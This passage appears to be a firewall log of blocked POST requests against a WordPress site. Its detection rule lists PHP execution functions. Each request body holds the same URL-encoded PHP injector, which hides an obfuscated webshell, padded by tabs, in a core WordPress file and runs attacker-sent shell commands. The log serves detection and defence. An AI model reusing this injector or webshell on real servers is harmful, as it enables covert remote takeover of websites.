24api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:41","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6134\n\nIL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:44","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\ncontent-length:6157\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:44:47","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520